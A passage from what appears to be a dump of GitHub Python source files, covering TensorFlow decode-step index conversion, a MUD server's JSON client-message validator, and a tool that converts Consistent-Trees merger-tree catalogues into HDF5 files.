action_type += (\n tf.to_int64(index_in_range) * tf.constant(\n action_type_range.action_type, dtype=tf.int64))\n return action_type\n\n\ndef _get_action_id(extended_indices, action_types, output_vocab_size,\n model_config):\n \"\"\"Returns action_id tensor.\"\"\"\n # This initial value will be broadcast to the length of decode_steps.\n action_ids = tf.constant(0, dtype=tf.int64)\n for action_type_range in _get_action_types_to_range(output_vocab_size,\n model_config):\n is_type = tf.equal(\n tf.constant(action_type_range.action_type, dtype=tf.int64),\n action_types)\n # For each timestep, exactly one of the action_type_ranges will be added,\n # so this sum will populate each entry on exactly one iteration.\n action_ids += (\n tf.to_int64(is_type) *\n (extended_indices - action_type_range.start_index))\n return action_ids\n\n\ndef get_decode_steps(extended_indices, output_vocab_size, model_config):\n \"\"\"Convert Tensor of indices in extended vocabulary to DecodeStep.\"\"\"\n extended_indices = tf.to_int64(extended_indices)\n action_types = _get_action_type(extended_indices, output_vocab_size,\n model_config)\n action_ids = _get_action_id(extended_indices, action_types, output_vocab_size,\n model_config)\n return DecodeSteps(action_types=action_types, action_ids=action_ids)\n\n\ndef get_extended_indices(decode_steps, output_vocab_size, model_config):\n \"\"\"Convert DecodeSteps into a tensor of extended action ids.\"\"\"\n # This initial value will be broadcast to the length of decode_steps.\n extended_action_indices = tf.constant(0, dtype=tf.int64)\n for action_type_range in _get_action_types_to_range(output_vocab_size,\n model_config):\n is_type = tf.equal(\n tf.constant(action_type_range.action_type, dtype=tf.int64),\n decode_steps.action_types)\n # For each timestep, exactly one of the action_type_ranges will be added,\n # so this sum will populate each entry on exactly one iteration.\n extended_action_indices += (\n tf.to_int64(is_type) *\n (decode_steps.action_ids + action_type_range.start_index))\n return extended_action_indices\n","repo_name":"soarsmu/MLCatchUp","sub_path":"labelling_dataset/add_parameter/tensorflow.compat.v1.to_int64 - rename_method tensorflow.cast add_parameter dtype=dtype=tensorflow.int64/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":2881,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"42115091336","text":"import json\n\n#message type\nACTION, MESSAGE, ADMIN = range(3)\n\n#valid actions\nactions = ['move', 'cast', 'use', 'do']\nmessageTypes = ['say', 'yell', 'party']\nadminOps = ['connect', 'gamelist', 'update', 'start', 'register', 'auth', 'username', 'password']\n\nclass ClientMessage:\n \"\"\"Takes a JSON encoded string and attempt to turn it \n into a valid message, throws exception if it can't.\"\"\"\n mtype = None\n mpayload = dict()\n valid = False\n\n def __init__(self, message):\n try:\n data = json.loads(message)\n except ValueError:\n self.valid = False\n raise InvalidMessageError\n\n if 'action' in data:\n self.mtype = ACTION\n self.validate(actions, data['action'])\n elif 'message' in data:\n self.mtype = MESSAGE\n self.validate(messageTypes, data['message'])\n elif 'admin' in data:\n self.mtype = ADMIN\n self.validate(adminOps, data['admin'])\n else:\n self.valid = False\n raise InvalidMessageError\n\n def validate(self, validItems, payload):\n if not type(payload) is dict:\n raise InvalidMessageError\n\n for item in validItems:\n if item in payload:\n self.mpayload = {item: payload[item]}\n return\n \n self.valid = False\n raise InvalidMessageError\n\nclass InvalidMessageError(Exception):\n\n def __init__(self, value=\"Invalid Message\"):\n self.value = value\n\n def __str__(self):\n return repr(self.value)\n","repo_name":"dwest/bcdmud","sub_path":"ClientMessage.py","file_name":"ClientMessage.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"39542300012","text":"#!/usr/bin/env python\nfrom __future__ import print_function\n\n__author__ = \"Manodeep Sinha\"\n__all__ = [\"convert_ctrees_to_h5\"]\n\nimport os\nimport time\nimport io\n\nfrom ..utils import get_metadata, get_parser, \\\n distribute_array_over_ntasks, get_approx_totnumhalos, \\\n check_and_decompress, check_for_contiguous_halos, \\\n resize_halo_datasets, write_halos, \\\n update_container_h5_file\n\nfrom ..ctrees_utils import read_locations_and_forests, \\\n get_aggregate_forest_info,\\\n get_all_parallel_ctrees_filenames, \\\n validate_inputs_are_ctrees_files, \\\n check_forests_locations_filenames, \\\n get_treewalk_dtype_descr, add_tree_walk_indices\n\n\ndef _create_and_validate_halos_dset(hf, dtype, write_halo_props_cont=True):\n \"\"\"\n Internal utility function to check the existing halo dataset in the file,\n and return a reference where the halos dataset can be written to.\n\n \"\"\"\n\n forests_grp = hf['Forests']\n if write_halo_props_cont:\n halos_dset = dict()\n # Create a dataset for every halo property\n # For any given halo property, the value\n # for halos will be written contiguously\n # (structure of arrays)\n for name in dtype.names:\n halos_dset[name] = forests_grp[name]\n if hf.attrs['Nhalos'] != halos_dset[name].shape[0]:\n msg = f\"Error: The dataset for halo property = '{name}' \"\\\n f\"does not contain *exactly* the same number of halos \"\\\n f\"as specified in the file attribute. \"\\\n \"shape of halo property dataset \"\\\n f\" = '{halos_dset[name].shape}' \"\\\n f\"nhalos in file attribute = {hf.attrs['Nhalos']}\"\n raise AssertionError(msg)\n else:\n # Create a single dataset that contains all properties\n # of a given halo, then all properties of the next halo,\n # and so on (array of structures)\n halos_dset = forests_grp['halos']\n if hf.attrs['Nhalos'] != halos_dset.shape[0]:\n msg = f\"Error: The halos dataset does not contain *exactly* the \"\\\n f\"same number of halos as specified in the file attribute. \"\\\n f\"shape of halo property dataset = '{halos_dset.shape}' \"\\\n f\"nhalos in file attribute = {hf.attrs['Nhalos']}\"\n raise AssertionError(msg)\n\n return halos_dset\n\n\ndef _convert_ctrees_forest_range(forest_info, trees_and_locations, rank,\n outputdir, output_filebase,\n write_halo_props_cont,\n fields, drop_fields,\n truncate, compression,\n buffersize, use_pread,\n show_progressbar):\n \"\"\"\n Convert a set of forests from Consistent Trees ascii file(s) into an\n (optionally compressed) hdf5 file.\n\n Parameters\n -----------\n\n forest_info: numpy structured array, required, shape: (nforests, )\n The numpy structured array containing the following info\n for the\n *forests* that are to be converted by this task\n\n trees_and_locations: numpy structured array, required, shape: (ntrees, )\n The numpy structured array containing the following info\n for the\n *trees* that are to be converted by this task\n\n rank: integer, required\n The (MPI) rank for the process. The output filename is determined\n with this rank to ensure unique filenames when running in parallel.\n\n outputdir: string, required\n The directory where the converted hdf5 file will be written in. The\n output filename is obtained by appending '.h5' to the ``input_file``.\n\n output_filebase: string, required\n The output filename is constructed using\n '{outputdir}/{output_filebase}_{rank}.h5'\n\n write_halo_props_cont: boolean, required\n Controls if the individual halo properties are written as distinct\n datasets such that any given property for *all* halos is written\n contiguously (structure of arraysA).\n\n When set to False, only one dataset ('halos') is created under the\n group 'Forests', and *all* properties of a halo is written out\n contiguously (array of structures).\n\n fields: list of strings, required\n Describes which specific columns in the input file to carry across\n to the hdf5 file. Default action is to convert ALL columns.\n\n drop_fields: list of strings, required\n Describes which columns are not carried through to the hdf5 file.\n Processed after ``fields``, i.e., you can specify ``fields=None`` to\n create an initial list of *all* columns in the ascii file, and then\n specify ``drop_fields = [colname2, colname7, ...]``, and those columns\n will not be present in the hdf5 output.\n\n truncate: boolean, required\n Controls whether a new file is created on this 'rank'. When set to\n ``True``, the header info file is written out. Otherwise, the file\n is appended to.\n\n compression: string, required\n Controls the kind of compression applied. Valid options are anything\n that ``h5py`` accepts.\n\n buffersize: integer, required\n Controls the size of the buffer for how many halos are written out\n per write call to the hdf5 file. The number of halos written out is\n this buffersize divided the size of the datatype for individual halos.\n\n use_pread: boolean, optional, required\n Controls whether low-level i/o operations (through ``os.pread``) is\n used. Otherwise, higher-level i/o operations (via ``io.open``) is\n used. This option is only meaningful on linux systems (and python3+).\n Since ``pread`` does not change the file offset, additional\n parallelisation can be implemented reasonably easily.\n\n show_progressbar: boolean, required\n Controls whether a progressbar is printed. Only enables progressbar\n on rank==0, the remaining ranks ignore this keyword.\n\n\n Returns\n -------\n\n Returns ``True`` on successful completion.\n\n \"\"\"\n\n import numpy as np\n import h5py\n import sys\n from tqdm import tqdm\n\n if rank != 0:\n show_progressbar = False\n\n try:\n os.pread\n except NameError:\n use_pread = False\n\n sys.stdout.flush()\n tstart = time.perf_counter()\n\n # Set the datalen for strings\n string_dtype = 'S1024'\n\n if not os.path.isdir(outputdir):\n msg = f\"Error: The first parameter (output directory) = \"\\\n f\"'{outputdir}' should be of type directory\"\n raise ValueError(msg)\n\n ntrees = trees_and_locations.shape[0]\n nforests = forest_info.shape[0]\n if nforests > ntrees:\n msg = f\"Error: Expected the number of trees = '{ntrees}' \"\\\n \"to be *at most* equal to the number of \"\\\n f\"forests = '{nforests}'\"\n raise AssertionError(msg)\n if ntrees <= 0:\n msg = f\"[Rank={rank}] Error: ntrees = {ntrees} should be >= 0\"\n raise AssertionError(msg)\n totnbytes = forest_info['Input_ForestNbytes'].sum()\n print(f\"[Rank={rank}]: processing {totnbytes} bytes \"\n f\"(in {ntrees} trees) spread over {nforests} forests...\")\n\n alltreedatafiles = list(set(trees_and_locations['Filename']))\n assert len(alltreedatafiles) > 0\n validate_inputs_are_ctrees_files(alltreedatafiles)\n\n metadata_dict = get_metadata(alltreedatafiles[0])\n metadata = metadata_dict['metadata']\n version_info = metadata_dict['version']\n input_catalog_type = metadata_dict['catalog_type']\n hdrline = metadata_dict['headerline']\n\n parser = get_parser(alltreedatafiles[0], fields=fields,\n drop_fields=drop_fields)\n\n mergertree_descr = get_treewalk_dtype_descr()\n output_dtype = np.dtype(parser.dtype.descr + mergertree_descr)\n\n approx_totnumhalos = 0\n for fname in alltreedatafiles:\n ind = np.where(trees_and_locations['Filename'] == fname)\n nbytes = np.sum(trees_and_locations['TreeNbytes'][ind])\n approx_totnumhalos += get_approx_totnumhalos(fname, ndatabytes=nbytes)\n\n if show_progressbar:\n pbar = tqdm(total=ntrees, unit=' trees', disable=None)\n\n if (not buffersize) or (buffersize < output_dtype.itemsize):\n buffersize = 1024*1024 # 1 MB\n max_nhalos_buffer = buffersize // output_dtype.itemsize\n chunks = (max_nhalos_buffer, )\n\n output_file = f\"{outputdir}/{output_filebase}_{rank}.h5\"\n if truncate:\n with h5py.File(output_file, \"w\") as hf:\n # give the HDF5 root some attributes\n hf.attrs['input_files'] = np.string_(alltreedatafiles)\n mtimes = [os.path.getmtime(f) for f in alltreedatafiles]\n hf.attrs['input_filedatestamp'] = np.array(mtimes)\n hf.attrs[\"input_catalog_type\"] = np.string_(input_catalog_type)\n hf.attrs[f\"{input_catalog_type}_version\"] = np.string_(version_info)\n hf.attrs[f\"{input_catalog_type}_columns\"] = np.string_(hdrline)\n hf.attrs[f\"{input_catalog_type}_metadata\"] = np.string_(metadata)\n hf.attrs['contiguous-halo-props'] = write_halo_props_cont\n\n sim_grp = hf.create_group('simulation_params')\n simulation_params = metadata_dict['simulation_params']\n for k, v in simulation_params.items():\n sim_grp.attrs[f\"{k}\"] = v\n\n hf.attrs['HDF5_version'] = np.string_(h5py.version.hdf5_version)\n hf.attrs['h5py_version'] = np.string_(h5py.version.version)\n\n hf.attrs['Nforests'] = 0\n hf.attrs['Ntrees'] = 0\n hf.attrs['Nhalos'] = 0\n\n forest_dtype = np.dtype([('ForestID', np.int64),\n ('ForestHalosOffset', np.int64),\n ('ForestNhalos', np.int64),\n ('ForestNtrees', np.int64), ])\n hf.create_dataset('ForestInfo', (0,), dtype=forest_dtype,\n chunks=True, compression=compression,\n maxshape=(None,))\n\n tree_dtype = np.dtype([('ForestID', np.int64),\n ('TreeRootID', np.int64),\n ('TreeHalosOffset', np.int64),\n ('TreeNhalos', np.int64),\n ('Input_Filename', string_dtype),\n ('Input_FileDateStamp', np.float),\n ('Input_TreeByteOffset', np.int64),\n ('Input_TreeNbytes', np.int64), ])\n hf.create_dataset('TreeInfo', (0,), dtype=tree_dtype,\n chunks=True, compression=compression,\n maxshape=(None,))\n\n forests_grp = hf.create_group('Forests')\n if write_halo_props_cont:\n # Create a dataset for every halo property\n # For any given halo property, the value\n # for halos will be written contiguously\n # (structure of arrays)\n for name, dtype in output_dtype.descr:\n forests_grp.create_dataset(name, (0,), dtype=dtype,\n chunks=chunks,\n compression=compression,\n maxshape=(None,))\n else:\n # Create a single dataset that contains all properties\n # of a given halo, then all properties of the next halo,\n # and so on (array of structures)\n forests_grp.create_dataset('halos', (0,),\n dtype=output_dtype,\n chunks=chunks,\n compression=compression,\n maxshape=(None,))\n\n # If ``truncate=True`` was specified, then the file has already\n # been created but contains 0 halos. At this point in the code,\n # we are appending to an existing hdf5 file. Therefore, two\n # conditions must be satisfed:\n # i) file must exist\n # ii) the file must have been created with the same value\n # of ``write_halo_props_cont``\n # This utility checks for these two conditions - MS 19/3/2021\n check_for_contiguous_halos(output_file, write_halo_props_cont)\n\n halos_buffer = np.empty(max_nhalos_buffer, dtype=output_dtype)\n nhalos_in_buffer = 0\n with h5py.File(output_file, \"a\") as hf:\n # The filenames are written as byte-arrays (through np.string_)\n # into the hdf5 file. Therefore, we will need to convert back\n # into `str` objects\n existing_files = hf.attrs['input_files']\n target_all_files = np.unique(np.hstack((existing_files,\n alltreedatafiles)))\n\n # Strictly speaking this decode is not necessary but without\n # this extra decode we end up with an array that contains\n # both np.str_ and str -- MS 01/05/2020\n target_all_files = [x.decode() if isinstance(x, bytes)\n else str(x) for x in target_all_files]\n\n if len(target_all_files) > len(existing_files):\n # Since we are appending to the hdf5 file, let's make\n # sure that *all* the files belong to the same setup of\n # simulation + mergertree. However, the ascii files\n # corresponding to the existing data might have been\n # deleted, so we should pass the metadata info directly\n # from the hdf5 file.\n base_input_catalog_type = hf.attrs['input_catalog_type'].decode()\n base_metadata = hf.attrs[f'{base_input_catalog_type}_metadata']\n base_version = hf.attrs[f'{base_input_catalog_type}_version'].decode()\n\n # Only validate the *current* files being processed\n assert len(alltreedatafiles) > 0\n validate_inputs_are_ctrees_files(alltreedatafiles,\n base_metadata=base_metadata,\n base_version=base_version,\n base_input_catalog_type=base_input_catalog_type)\n\n # We need to update how many *unique* input files have gone into\n # this hdf5 file\n hf.attrs['input_files'] = np.string_(target_all_files)\n hf.attrs['input_filedatestamp'] = np.array([os.path.getmtime(f)\n for f in target_all_files])\n\n tree_dset = hf['TreeInfo']\n forest_dset = hf['ForestInfo']\n\n if forest_dset.shape[0] != hf.attrs['Nforests']:\n msg = \"Error: The forest dataset does not contain *exactly* \"\\\n \"the same number of forests as specified in the file \"\\\n f\"attribute. Shape of forest dataset = \"\\\n f\"'{forest_dset.shape}', nforests in file attribute\"\\\n f\" = '{hf.attrs['Nforests']}'\"\n raise AssertionError(msg)\n forest_offset = hf.attrs['Nforests']\n\n if tree_dset.shape[0] != hf.attrs['Ntrees']:\n msg = \"Error: The tree dataset does not contain *exactly* \"\\\n \"the same number of trees as specified in the file \"\\\n f\"attribute. shape of tree dataset = '{tree_dset.shape}' \"\\\n f\"ntrees in file attribute = '{hf.attrs['Ntrees']}'\"\n raise AssertionError(msg)\n tree_offset = hf.attrs['Ntrees']\n\n # resize both the datasets containing the forestlevel info and\n # treelevel info\n forest_dset.resize((forest_offset + nforests, ))\n tree_dset.resize((tree_offset + ntrees, ))\n\n # Now check the halos dataset\n halos_dset = _create_and_validate_halos_dset(hf, output_dtype,\n write_halo_props_cont)\n\n # Okay - we have validated the halos offset\n halos_offset = hf.attrs['Nhalos']\n halos_dset_offset = halos_offset\n\n # resize the halos dataset so we don't have to resize at every step\n dset_size = halos_offset + approx_totnumhalos\n resize_halo_datasets(halos_dset, dset_size,\n write_halo_props_cont, output_dtype)\n\n forest_dset[-nforests:, 'ForestID'] = forest_info['ForestID'][:]\n forest_dset[-nforests:, 'ForestNtrees'] = forest_info['Ntrees'][:]\n\n tree_dset[-ntrees:, 'ForestID', ] = trees_and_locations['ForestID'][:]\n tree_dset[-ntrees:, 'TreeRootID'] = trees_and_locations['TreeRootID'][:]\n\n # These quantities relate to the input files\n tree_dset[-ntrees:, 'Input_Filename'] = np.string_(trees_and_locations['Filename'][:])\n mtimes = [os.path.getmtime(fn) for fn in trees_and_locations['Filename']]\n tree_dset[-ntrees:, 'Input_FileDateStamp'] = np.array(mtimes)\n tree_dset[-ntrees:, 'Input_TreeByteOffset'] = trees_and_locations['Offset'][:]\n tree_dset[-ntrees:, 'Input_TreeNbytes'] = trees_and_locations['TreeNbytes'][:]\n\n alltreedatafiles = list(set(trees_and_locations['Filename']))\n if use_pread:\n filehandlers = {f: os.open(f, os.O_RDONLY)\n for f in alltreedatafiles}\n else:\n filehandlers = {f: io.open(f, 'rt') for f in alltreedatafiles}\n\n ntrees_processed = 0\n treenhalos = np.empty(ntrees, dtype=np.int64)\n treehalos_offset = np.empty(ntrees, dtype=np.int64)\n forestnhalos = np.empty(nforests, dtype=np.int64)\n foresthalos_offset = np.empty(nforests, dtype=np.int64)\n for iforest in range(nforests):\n foresthalos_offset[iforest] = halos_offset\n forest_halos = np.empty(0, dtype=output_dtype)\n for _ in range(forest_info['Ntrees'][iforest]):\n treedata_file = trees_and_locations['Filename'][ntrees_processed]\n offset = trees_and_locations['Offset'][ntrees_processed]\n numbytes = trees_and_locations['TreeNbytes'][ntrees_processed]\n inp = filehandlers[treedata_file]\n\n if use_pread:\n chunk = os.pread(inp, numbytes, offset)\n else:\n inp.seek(offset, os.SEEK_SET)\n chunk = inp.read(numbytes)\n\n parse_line = parser.parse_line\n halos = parser.pack([parse_line(line)\n for line in chunk.splitlines()])\n\n nhalos = halos.shape[0]\n forest_halos.resize(forest_halos.shape[0] + nhalos)\n\n # forest_halos have additional mergertree indices, therefore\n # the datatypes are not the same between halos (parser.dtype)\n # and forest_halos (output_dtype) -> assign by columns\n for name in parser.dtype.names:\n forest_halos[name][-nhalos:] = halos[name][:]\n\n # Add the tree level info\n treenhalos[ntrees_processed] = nhalos\n treehalos_offset[ntrees_processed] = halos_offset\n ntrees_processed += 1\n if show_progressbar:\n pbar.update(1)\n\n # Update the total number of halos read-in with\n # the number of halos in this tree\n halos_offset += nhalos\n\n # Entire forest has been loaded. Reset nhalos\n # to be the number of halos in the forest\n nhalos = forest_halos.shape[0]\n\n # Add the forest level info\n forestnhalos[iforest] = nhalos\n\n # Entire forest is now loaded -> add the mergertree indices\n add_tree_walk_indices(forest_halos, rank)\n\n # If there are not enough to trigger a write, simply fill up\n # the halos_buffer\n if (nhalos_in_buffer + nhalos) < max_nhalos_buffer:\n assert halos_buffer.dtype == forest_halos.dtype\n halos_buffer[nhalos_in_buffer:nhalos_in_buffer+nhalos] = forest_halos[:]\n nhalos_in_buffer += nhalos\n continue\n\n # Need to write to disk\n # Resize to make sure there is enough space to append the new halos\n if halos_offset > dset_size:\n resize_halo_datasets(halos_dset, halos_offset,\n write_halo_props_cont, output_dtype)\n dset_size = halos_offset\n\n # write the halos that are already in the buffer\n write_halos(halos_dset, halos_dset_offset, halos_buffer,\n nhalos_in_buffer, write_halo_props_cont)\n halos_dset_offset += nhalos_in_buffer\n nhalos_in_buffer = 0\n\n # Now write the halos that have just been read-in\n # Note: The halos in the buffer *must* be written out before\n # the halos that have just been read-in. Otherwise, there will\n # sbe data corruption\n write_halos(halos_dset, halos_dset_offset, forest_halos,\n nhalos, write_halo_props_cont)\n halos_dset_offset += nhalos\n if halos_offset != halos_dset_offset:\n msg = f\"Error: After writing out halos into the hdf5 file, \"\\\n f\"expected to find that halos_offset = '{halos_offset}'\"\\\n f\" to be *exactly* equal to the offset in the hdf5 \"\\\n f\"dataset = '{halos_dset_offset}'\"\n raise AssertionError(msg)\n\n # All the trees for this call have now been read in entirely -> Now\n # fix the actual dataset sizes to reflect the total number of\n # halos written\n resize_halo_datasets(halos_dset, halos_offset,\n write_halo_props_cont, output_dtype)\n dset_size = halos_offset\n\n if nhalos_in_buffer > 0:\n write_halos(halos_dset, halos_dset_offset, halos_buffer,\n nhalos_in_buffer, write_halo_props_cont)\n halos_dset_offset += nhalos_in_buffer\n nhalos_in_buffer = 0\n\n if halos_offset != halos_dset_offset:\n msg = f\"Error: After writing *all* the halos into the hdf5 file, \"\\\n f\"expected to find that halos_offset = '{halos_offset}'\"\\\n f\" to be *exactly* equal to the offset in the hdf5 \"\\\n f\"dataset = '{halos_dset_offset}'\"\n raise AssertionError(msg)\n\n msg = f\"Error: Expected to process {ntrees} trees but processed \"\\\n f\"{ntrees_processed} trees instead\"\n assert ntrees_processed == ntrees, msg\n\n # all halos from all forests have been written out and the halo\n # dataset has been correctly resized. Now write the aggregate\n # quantities at the tree and forest levels\n tree_dset[-ntrees:, 'TreeNhalos'] = treenhalos[:]\n tree_dset[-ntrees:, 'TreeHalosOffset'] = treehalos_offset[:]\n forest_dset[-nforests:, 'ForestNhalos'] = forestnhalos[:]\n forest_dset[-nforests:, 'ForestHalosOffset'] = foresthalos_offset[:]\n\n hf.attrs['Nforests'] += nforests\n hf.attrs['Ntrees'] += ntrees\n hf.attrs['Nhalos'] = halos_offset\n if show_progressbar:\n pbar.close()\n\n # Close all the open file handlers\n if use_pread:\n for f in filehandlers.values():\n os.close(f)\n else:\n for f in filehandlers.values():\n f.close()\n\n totnumhalos = halos_offset\n\n t1 = time.perf_counter()\n print(f\"[Rank {rank}]: processing {totnbytes} bytes \"\n f\"(in {ntrees} trees) spread over {nforests} forests...done. \"\n f\"Wrote {totnumhalos} halos in {t1-tstart:.2f} seconds\")\n\n sys.stdout.flush()\n return True\n\n\ndef convert_ctrees_to_h5(filenames, standard_consistent_trees=None,\n outputdir=\"./\", output_filebase=\"forest\",\n write_halo_props_cont=True,\n fields=None, drop_fields=None,\n truncate=True, compression='gzip',\n buffersize=None, use_pread=True,\n max_nforests=None,\n comm=None, show_progressbar=False):\n \"\"\"\n Convert a set of forests from Consistent Trees ascii file(s) into an\n (optionally compressed) hdf5 file. Can be invoked with MPI.\n\n Parameters\n -----------\n\n filenames: list of strings for Consistent-Trees catalogues, required\n The input ascii files will be decompressed, if required.\n\n standard_consistent_tree: boolean, optional, default: None\n Whether the input filres were generated by the Uchuu collaboration's\n parallel Consistent-Trees code. If only two files are specified in\n ``filenames``, and these two filenames end with 'forests.list', and\n 'locations.dat', then a standard Consistent-Trees output will be\n inferred. If all files specified in ``filenames`` end with '.tree',\n then parallel Consistent-Trees is inferred.\n\n outputdir: string, optional, default: current working directory ('./')\n The directory where the converted hdf5 file will be written in. The\n output filename is obtained by appending '.h5' to the ``input_file``.\n\n output_filebase: string, optional, default: \"forest\"\n The output filename is constructed using\n '{outputdir}/{output_filebase}_{rank}.h5'\n\n write_halo_props_cont: boolean, optional, default: True\n Controls if the individual halo properties are written as distinct\n datasets such that any given property for *all* halos is written\n contiguously (structure of arraysA).\n\n When set to False, only one dataset ('halos') is created under the\n group 'Forests', and *all* properties of a halo is written out\n contiguously (array of structures).\n\n fields: list of strings, optional, default: None\n Describes which specific columns in the input file to carry across\n to the hdf5 file. Default action is to convert ALL columns.\n\n drop_fields: list of strings, optional, default: None\n Contains a list of column names that will *not* be carried through\n to the hdf5 file. If ``drop_fields`` is not set for a\n parallel Consistent-Trees run, then [``Tidal_Force``, ``Tidal_ID``]\n will be used.\n\n ``drop_fields`` is processed after ``fields``, i.e., you can specify\n ``fields=None`` to create an initial list of *all* columns in the\n ascii file, and then specify\n ``drop_fields = [colname2, colname7, ...]``,\n and *only* those columns will not be present in the hdf5 output.\n\n truncate: boolean, default: True\n Controls whether a new file is created on this 'rank'. When set to\n ``True``, the header info file is written out. Otherwise, the file\n is appended to. The code checks to make sure that the existing metadata\n in the hdf5 file is identical to the new metadata in the ascii files\n being currently converted (i.e., tries to avoid different\n simulation + mergertree results being present in the same file)\n\n compression: string, optional, default: 'gzip'\n Controls the kind of compression applied. Valid options are anything\n that ``h5py`` accepts.\n\n buffersize: integer, optional, default: 1 MB\n Controls the size of the buffer how many halos are written out\n per write call to the hdf5 file. The number of halos written out is\n this buffersize divided the size of the datatype for individual halos.\n\n use_pread: boolean, optional, default: True\n Controls whether low-level i/o operations (through ``os.pread``) is\n used. Otherwise, higher-level i/o operations (via ``io.open``) is\n used. This option is only meaningful on linux systems (and python3+).\n Since ``pread`` does not change the file offset, additional\n parallelisation can be implemented reasonably easily.\n\n max_nforests: integer >= 1, optional, default: None\n The maximum number of forests to convert across all tasks. If a\n positive value is passed then the total number of forests converted\n will be ``min(totnforests, max_nforests)``. ValueError is raised\n if the passed parameter value is less than 1.\n\n comm: MPI communicator, optional, default: None\n Controls whether the conversion is run in MPI parallel. Should be\n compatible with `mpi4py.MPI.COMM_WORLD`.\n\n show_progressbar: boolean, optional, default: False\n Controls whether a progressbar is printed. Only enables progressbar\n on rank==0, the remaining ranks ignore this keyword.\n\n Returns\n -------\n\n Returns ``True`` on successful completion.\n\n \"\"\"\n import os\n import sys\n import time\n import numpy as np\n\n rank = 0\n ntasks = 1\n if comm:\n rank = comm.Get_rank()\n ntasks = comm.Get_size()\n\n if not os.path.isdir(outputdir):\n msg = f\"Error: Output directory = {outputdir} is not a valid directory\"\n raise ValueError(msg)\n\n if max_nforests and max_nforests <= 0:\n msg = f\"Error: The maximum number of forests to convert \"\\\n f\"= {max_nforests} must be >= 1\"\n raise ValueError(msg)\n\n tstart = time.perf_counter()\n sys.stdout.flush()\n\n if not standard_consistent_trees:\n standard_consistent_trees = True\n # The Uchuu collaboration has a special parallel version of the\n # Consistent-Tree developed by @Tomo. This code generates a set of\n # files equivalent to (forests.list, locations.dat, tree_*.dat) file\n # per CPU task. In that code, forests are guaranteed to be located\n # completely within one tree data file. However, the public version\n # of Consistent-Trees is different and there is exactly one\n # 'forests.list' and 'locations.dat' files for the entire simulation,\n # and as many tree_*.dat files as the number of BOX_DIVISIONS^3 set\n # in the Consistent-Trees config file at runtime.\n\n # This script aims to handle both scenarios with this logic -- if only\n # the \"forests.list\" and \"locations.dat\" files are supplied as\n # command-line arguments, then the public version of the\n # Consistent-Trees catalog is assumed. Otherwise, a list of\n # *all* the \"XXXXXX.tree\" files should be passed (i.e., for people\n # in the Uchuu collaboration). The correspoonding 'forest' and\n # 'location' file names will be automatically generated by assuming\n # the Uchuu convention:\n # -> tree data files are called '.tree'\n # -> associated forest.list file is called '.forest'\n # -> associated locations.dat file is called '.loc'\n #\n\n # If all files supplied at the command-line endwith\n # '.tree(.bz2,.zip,.gz)' then it is a parallel Consistent-Trees run.\n check_pctrees_files = [True if 'tree' in set(f.split('.'))\n else False for f in filenames]\n if np.all(check_pctrees_files):\n standard_consistent_trees = False\n\n if standard_consistent_trees:\n if len(filenames) != 2:\n msg = \"Error: To convert a standard Consistent-Trees output, \"\\\n \"please specify *exactly* two files -- the 'forests.list' and \"\\\n \"the 'locations.dat' files (order is unimportant). \"\\\n f\"Instead found filenames = '{filenames}'\"\n raise ValueError(msg)\n\n filebasenames = set([os.path.basename(f) for f in filenames])\n expected_filebasenames = set(['forests.list', 'locations.dat'])\n if filebasenames != expected_filebasenames:\n msg = \"Error: To convert a standard Consistent-Trees output, \"\\\n \"please specify *exactly* two files -- the \"\\\n \"'forests.list' and the 'locations.dat' files \"\\\n \"(order is unimportant). While exactly two files were \"\\\n \"specified, at least one of the 'forests.list' or \"\\\n \"'locations.dat' files were not present in the \"\\\n f\"supplied filenames = '{filenames}'\"\n raise ValueError(msg)\n\n if standard_consistent_trees:\n forests_file, locations_file = check_forests_locations_filenames(filenames)\n forests_and_locations_fnames = [(forests_file, locations_file)]\n else:\n # We are converting parallel Ctrees files; however, these files might\n # still be compressed and we need to decompress them before processing.\n forests_and_locations_fnames = []\n decompressed_filenames = []\n for fname in filenames:\n decomp_fname = check_and_decompress(fname)\n extname = '.tree'\n if extname not in decomp_fname:\n msg = \"Error: Should pass the tree data file names (i.e., \"\\\n f\"the filenames should end in '{extname}'. \"\\\n f\"Instead got filename = '{decomp_fname}'\"\n raise ValueError(msg)\n\n decompressed_filenames.append(decomp_fname)\n forests_file, locations_file, _ = get_all_parallel_ctrees_filenames(decomp_fname)\n forests_and_locations_fnames.append((forests_file, locations_file))\n\n # Since multiple tree files are specified at the command-line,\n # let's make sure that all the files belong to the\n # same simulation + mergertree setup\n assert len(decompressed_filenames) > 0\n validate_inputs_are_ctrees_files(decompressed_filenames)\n\n if (not drop_fields) and (not standard_consistent_trees):\n # The Tidal fields can not be correctly calculated in the\n # parallel CTrees code and are dropped from the hdf5 file\n drop_fields = ['Tidal_Force', 'Tidal_ID']\n\n nfiles = len(forests_and_locations_fnames)\n if rank == 0:\n print(f\"[Rank={rank}]: Converting {nfiles} sets of (forests, \"\n f\"locations) files over {ntasks} tasks ... \")\n\n nconverted = 0\n for (forests_file, locations_file) in forests_and_locations_fnames:\n t0 = time.perf_counter()\n print(f\"[Rank={rank}]: Reading forests and locations files...\")\n trees_and_locations = read_locations_and_forests(forests_file,\n locations_file,\n rank)\n ntrees = trees_and_locations.shape[0]\n t1 = time.perf_counter()\n print(f\"[Rank={rank}]: Reading forests and locations files...done. \"\n f\"Time taken = {t1-t0:.2f} seconds\")\n\n alltreedatafiles = list(set(trees_and_locations['Filename']))\n if standard_consistent_trees:\n # Validate that all the files are the same version and all\n # contain a Consistent Trees catalog\n assert len(alltreedatafiles) > 0\n validate_inputs_are_ctrees_files(alltreedatafiles)\n else:\n # Since we are processing parallel CTrees output, *every* tree data\n # file has an associated forests and locations file. Which means\n # that every locations file should only have one treedata file\n # Check that that is the case\n if len(alltreedatafiles) != 1:\n msg = \"Error: Expected to find *exactly* one tree data file \"\\\n \"per locations file. However, while processing the \"\\\n f\"locations_file = '{locations_file}', found \"\\\n f\"{len(alltreedatafiles)} tree data files. \"\\\n f\"The unique tree data files are: {alltreedatafiles}\"\n raise AssertionError(msg)\n # No need to validate that the input files are valid CTrees files\n # That has already been done\n\n if rank == 0:\n print(f\"[Rank={rank}]: Converting a single set of (forests, \"\n f\"locations) over {ntasks} tasks...\")\n\n # We have the tree-level info, let's create a similar info for\n # the forests (by grouping trees by ForestID)\n forest_info = 